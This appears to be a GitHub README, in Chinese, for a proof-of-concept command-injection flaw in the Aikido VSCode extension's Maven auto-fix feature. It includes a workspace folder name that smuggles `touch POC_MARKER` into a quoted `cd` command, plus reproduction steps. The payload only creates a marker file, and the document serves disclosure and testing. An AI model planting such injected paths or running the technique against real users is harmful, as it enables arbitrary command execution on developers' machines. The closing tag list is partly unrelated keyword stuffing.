aleister1102/aikido-vscode-ext-rce-poc

GitHub: aleister1102/aikido-vscode-ext-rce-poc

展示Aikido VSCode扩展在Maven依赖修复流程中因工作区路径拼接不当导致的命令注入漏洞的PoC。

Stars: 0 | Forks: 0

# aikido-vscode-ext-rce-poc Aikido VSCode 扩展 Maven 依赖项自动修复流程中的命令注入 PoC。 ## 漏洞模式 该扩展构建的 shell 命令如下: ``` cd "" && mvn ... ``` 如果工作区路径包含会破坏 shell 解析的字符,将会执行任意命令。 ## PoC 工作区文件夹 ``` workspace"; touch POC_MARKER; # ``` 单个文件名中不允许包含斜杠,因此 payload 不包含斜杠。 ## 文件 - `workspace"; touch POC_MARKER; #/pom.xml`:包含已知漏洞依赖项的最小化 Maven 项目,用于触发 SCA 发现。 - `bin/mvn`:无害的垫片程序,用于满足扩展对 `mvn` 的前置条件要求,并使命令路径得以执行。 ## 复现步骤 1. 启动 VSCode,并将 PoC 的 `mvn` 垫片程序加入 `PATH`: ``` PATH="$(pwd)/bin:$PATH" code --new-window --folder-uri 'file:///tmp/aikido-vscode-ext-rce-poc/workspace%22%3B%20touch%20POC_MARKER%3B%20%23' ``` 2. 在 Aikido 扩展中,运行依赖项扫描。 3. 针对 Maven 问题触发依赖项自动修复。 4. 观察扩展输出,其中包含类似以下的命令: ``` cd "/tmp/aikido-vscode-ext-rce-poc/workspace"; touch POC_MARKER; #" && mvn ... ``` 5. 确认标记文件是否存在: ``` ls -l '/tmp/aikido-vscode-ext-rce-poc/workspace"; touch POC_MARKER; #/POC_MARKER' ``` ## 预期结果 `touch POC_MARKER` 被执行,因为该路径破坏了带引号的 `cd` 命令结构从而逃逸。
标签:0day漏洞, Aikido安全, CI/CD安全, CISA项目, Cutter, CVE, DevSecOps, DNS 解析, Llama, Maven, PoC, RCE, Shell注入, VSCode扩展, VSCode插件, 上游代理, 代码安全, 依赖扫描, 命令注入, 安全漏洞, 数字签名, 暴力破解, 概念验证, 模型提供商, 漏洞枚举, 漏洞验证, 白盒测试, 路径注入, 输入校验不当